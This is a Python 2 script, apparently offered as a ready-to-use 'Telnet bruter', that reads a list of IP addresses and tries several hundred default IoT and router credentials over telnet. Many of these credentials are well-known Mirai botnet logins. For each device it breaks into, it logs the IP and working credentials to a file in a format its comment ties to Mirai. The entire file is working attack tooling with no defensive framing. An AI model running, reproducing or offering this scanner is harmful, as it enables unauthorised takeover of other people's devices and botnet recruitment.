#!/usr/bin/python
# Simple Telnet Bruter | By; LiGhT
# Lots of false possitives but pulls alot of results extremely fast

import threading
import sys, os, re, time, socket
from Queue import *
from sys import stdout

if len(sys.argv) < 4:
	print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
	sys.exit()

combo = [
	"support:support",
	"root:vizxv",
	"root:xc3511",
	"telnet:telnet",
	"root:root",
	"supervisor:zyad1234",
	"root: ",
	"admin:1234",
	"user:user",
	"root:antslq",
	"admin:admin",
	"Admin:123456",
	"admin:admin",
	"admin:123456",
	"root:camera",
	"Admin:1234",
	"admin:fliradmin",
	"admin:1234",
	"admin:jvc",
	"root:admin",
	"root:Admin",
	"admin:meinsma",
	"admin:1111111",
	"admin:4321",
	"admin:password",
	"root:ikwd",
	"admin:wbox",
	"supervisor:supervisor",
	"dm3500:merlin",
	"ubnt:ubnt",
	"none:backdoor",
	"device:device",
	"apc:apc",
	"none:atc123",
	"(none):public",
	"none:password",
	"scout:scout",
	"none:admin",
	"root:ascend",
	"none:ascend",
	"admin:epicrouter",
	"customer:none",
	"operator:1234User",
	"Service:5678Service",
	"admin:atlantis",
	"root:ROOT500",
	"manuf:xxyyzz",
	"diag:danger",
	"craft:crftpw",
	"root:cms500",
	"Administrator:ggdaseuaimhrke",
	"root:ggdaseuaimhrke",
	"root:tslinux",
	"root:pass",
	"none:NetICs",
	"security:security",
	"manager:friend",
	"manager:manager",
	"admin:bintec",
	"admin:articon",
	"patrol:patrol",
	"service:service",
	"tech:tech",
	"live:live",
	"none:Master",
	"none:laflaf",
	"none:Helpdesk",
	"none:Super",
	"installer:installer",
	"root:fivranne",
	"webadmin:webadmin",
	"user:password",
	"root:Serv4EMC",
	"admin:access",
	"admin:netadmin",
	"mediator:mediator",
	"root:Mau'dib",
	"cellit:cellit",
	"admin:diamond",
	"admin:1234admin",
	"Adminstrator:changeme",
	"netrangr:attack",
	"cmaker:cmaker",
	"admin:changeme",
	"bbsd-client:changeme2database",
	"bbsd-client:NULL",
	"root:attack",
	"admin:default",
	"Cisco:Cisco",
	"admin:cisco",
	"root:blender",
	"hsa:hsasdb",
	"wlse:wlsedb",
	"wlseuser:wlsepassword",
	"root:password",
	"citel:password",
	"admin:system",
	"epicrouter:admin",
	"cgadmin:cgadmin",
	"super:surt",
	"root:tini",
	"anonymous:any@",
	"root:davox",
	"davox:davox",
	"root:calvin",
	"admin:my_DEMARC",
	"MDaemon:MServer",
	"PBX:PBX",
	"NETWORK:NETWORK",
	"none:BRIDGE",
	"admin:michaelangelo",
	"Alphanetworks:wrgg15_di524",
	"Alphanetworks:firmware",
	"draytek:1234Admin",
	"edimax:software01",
	"admin:Administration",
	"admin:su@psir",
	"login:admin",
	"login:password",
	"none:4getme2",
	"tiger:tiger123",
	"MD110:help",
	"admin:extendnet",
	"anonymous:Exabyte",
	"root:default",
	"none:Posterie",
	"manage:!manage",
	"admin:radius",
	"netadmin:nimdaten",
	"admin:isee",
	"Factory:56789Admin",
	"storwatch:specialist",
	"vt100:public",
	"superadmin:secret",
	"hscroot:abc123",
	"admin:P@55w0rd!",
	"root:iDirect",
	"Administrator:pilou",
	"setup:setup",
	"admin:hello",
	"admin:adslroot",
	"admin:administrator",
	"susAdmin:Administrator",
	"none:0Admin",
	"admin:123Admin",
	"admin:123456Admin",
	"superuser:123456",
	"superuser:123456special",
	"superuser:superuser",
	"none:admin00",
	"root:orion99",
	"user:tivonpw",
	"setup:changeme",
	"admin:Ascend",
	"super:super",
	"readwrite:lucenttech1",
	"admin:AitbISP4eCiG",
	"service:smile",
	"cablecom:router",
	"admin:motorola",
	"sysadm:sysadm:",
	"SYSADM:sysadm",
	"vcr:NetVCR",
	"none:xdfk9874t3",
	"disttech:4tas",
	"maint:maint",
	"m1122:m1122",
	"root:3ep5w2u",
	"maint:ntacdmax",
	"supervisor:PlsChgMe",
	"write:private",
	"admin:smallbusiness",
	"admin:mu",
	"admin:microbusiness",
	"admin:pfsense",
	"admin:superuser",
	"engmode:hawk201",
	"support:h179350",
	"lp:lp",
	"radware:radware",
	"wradmin:trancell",
	"none:Col2ogro2",
	"sysadmin:password",
	"teacher:password",
	"integrator:p1nacate",
	"operator:col1ma",
	"administrator:d1scovery",
	"root:1234User",
	"admin:w2402",
	"admin:Sharp",
	"superuser:admin",
	"poll:tech",
	"eng:engineer",
	"Administrator:ganteng",
	"none:smcadmin",
	"Administrator:smcadmin",
	"smc:smcadmin",
	"admin:smcadmin",
	"admin:barricade",
	"cusadmin:highspeed",
	"mso:w0rkplac3rul3s",
	"stratacom:stratauser",
	"Symbol:Admin",
	"target:password",
	"sweex:mysweex",
	"admin:symbol",
	"operator:mercury",
	"guest:truetime",
	"admin:12345Admin",
	"super.super:master",
	"xbox:xbox",
	"tellabs:tellabs#1",
	"root:admin_1",
	"superman:talent",
	"Admin:123456Admin",
	"admin:imss7.0",
	"admin:detmond",
	"admin:1111Admin",
	"admin:22222Admin",
	"admin:x-admin",
	"11111:x-admin",
	"diag:switch",
	"admin:switch",
	"admin:zoomadsl",
	"ADSL:expert03",
	"root:anko",
	"root:oelinux123",
	"root:alpine",
	"root:maxided",
	"pi:raspberry",
	"vagrant:vagrant",
	"telnet:telnet",
	"root:zlxx.",
	"root:juantech",
	"root:avtech",
	"root:vizxv",
	"root:xc3511",
	"guest:xc3511",
	"666666:666666",
	"888888:888888",
	"111111:111111",
	"admin:bayandsl",
	"adminpldt:12345676890",
	"root:1234567890",
	"telecomadmin:admintelecom",
	"admintelecom:telecomadmin",
	"root:comcom",
	"root:zte9x15",
	"ZXDSL:ZXDSL",
	"root:Zte521",
	"D-Link:D-Link",
	"dlink:dlink",
	"DLink:DLink",
	"ftpuser:asteriskftp",
	"root:dreambox",
	"root:1111",
	"root:1234",
	"root:12345",
	"root:123456",
	"root:54321",
	"root:666666",
	"mother:fucker",
	"admin1:password",
	"admin:7ujMko0admin",
	"admin:7ujMko0vizxv",
	"root:7ujMko0admin",
	"root:7ujMko0vizxv",
	"root:hi3518",
	"root:klv123",
	"root:klv1234",
	"root:system",
	"root:realtek",
	"root:jvbzd",
	"root:xmhdipc",
	"openlgtv:openlgtv",
	"root:root123",
	"root:ahetzip8",
	"root:696969",
	"root:pa55w0rd",
	"root:123123",
	"root:b120root",
	"root:PASSWORD",
	"admin:ADMIN",
	"ADMIN:ADMIN",
	"netgear:netgear",
	"ibm:password",
	"vyatta:vyatta",
	"Admin:atc456",
	"micros:micros",
	"comcast:comcast",
	"pos:pos",
	"www:www",
	"2800:2800",
	"UBNT:UBNT",
	"netman:",
	"aDMIN:1111",
	"aDMIN:123456",
	"admin:54321",
	"root:00000000",
	"root:user",
	"root:ikwb",
	"root:changeme",
	"Administrator:",
	"administrator:1234",
	"root:ubnt",
	"Administrator:public",
	"Administrator:buh",
	"Administrator:admin",
	"admin:utstar",
	"admin:99999999",
	"admin:Meins",
	"admin:JVC",
	"admin:admin00",
	"admin:ip20",
	"admin:ip3000",
	"admin:ip400",
	"admin:tsunami",
	"admin:public",
	"admin:2601hx",
	"admin:synnet",
	"quser:quser",
	"tech:",
	"Manager:",
	"Manager:Manager",
	" :ascend",
	"ascend:ascend",
	"dlink:default",
	"login:user",
	"login:pass",
	"!root:",
	"netopia:netopia",
	"sysadm:sysadm",
	"sysadm:anicust",
	"debug:d.e.b.u.g",
	"debug:synnet",
	"echo:echo",
	"daemon:daemon",
	"demo:demo",
	"arris:admin",
	"Linksys:admin",
	"client:client",
	"cisco:CISCO",
	"7654321:7654321",
	"adsl:adsl1234",
	"root:toor",
	"dm:telnet",
	" :netadmin",
	" :hewlpack",
	" :NetICs",
	"adminttd:adminttd",
	"PlcmSpIp:PlcmSpIp",
	"11111111:11111111",
	"22222222:22222222",
	"mountsys:mountsys",
	"memotec:supervisor",
	"root:LSiuY7pOmZG2s",
	"Admin:3UJUh2VemEfUte",
	"museadmin:Muse!Admin",
	"adminpldt:1234567890",
	"pldtadmin:1234567890",
	"bbsd-client:changeme2"
]

ips = open(sys.argv[1], "r").readlines()
threads = int(sys.argv[2])
output_file = sys.argv[3]
queue = Queue()
queue_count = 0

for ip in ips:
	queue_count += 1
	stdout.write("\r[%d] Added to queue" % queue_count)
	stdout.flush()
	queue.put(ip)
print "\n"


class router(threading.Thread):
	def __init__ (self, ip):
		threading.Thread.__init__(self)
		self.ip = str(ip).rstrip('\n')
	def run(self):
		username = ""
		password = ""
		for passwd in combo:
			if ":n/a" in passwd:
				password=""
			else:
				password=passwd.split(":")[1]
			if "n/a:" in passwd:
				username=""
			else:
				username=passwd.split(":")[0]
			try:
				tn = socket.socket()
				tn.settimeout(8)
				tn.connect((self.ip,23))
			except Exception:
				tn.close()
				break
			try:
				hoho = ''
				hoho += readUntil(tn, "ogin:")
				if "ogin" in hoho:
					tn.send(username + "\n")
					time.sleep(0.08)
			except Exception:
				tn.close()
			try:
				hoho = ''
				hoho += readUntil(tn, "assword:")
				if "assword" in hoho:
					tn.send(password + "\n")
					time.sleep(0.05)
				else:
					pass
			except Exception:
				tn.close()
			try:
				prompt = ''
				prompt += tn.recv(40960)
				if ">" in prompt and "ONT" not in prompt:
					success = True
				elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
					success = True
				else:
					tn.close()
				if success == True:
					try:
						os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
						print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
						tn.close()
						break
					except:
						tn.close()
				else:
					tn.close()
			except Exception:
				tn.close()

def readUntil(tn, string, timeout=8):
	buf = ''
	start_time = time.time()
	while time.time() - start_time < timeout:
		buf += tn.recv(1024)
		time.sleep(1.50)
		if string in buf: return buf
	raise Exception('TIMEOUT!')

def worker():
	try:
		while True:
			try:
				IP = queue.get()
				thread = router(IP)
				thread.start()
				queue.task_done()
				time.sleep(1.50)
			except:
				pass
	except:
		pass

for l in xrange(threads):
	try:
		t = threading.Thread(target=worker)
		t.start()
	except:
		pass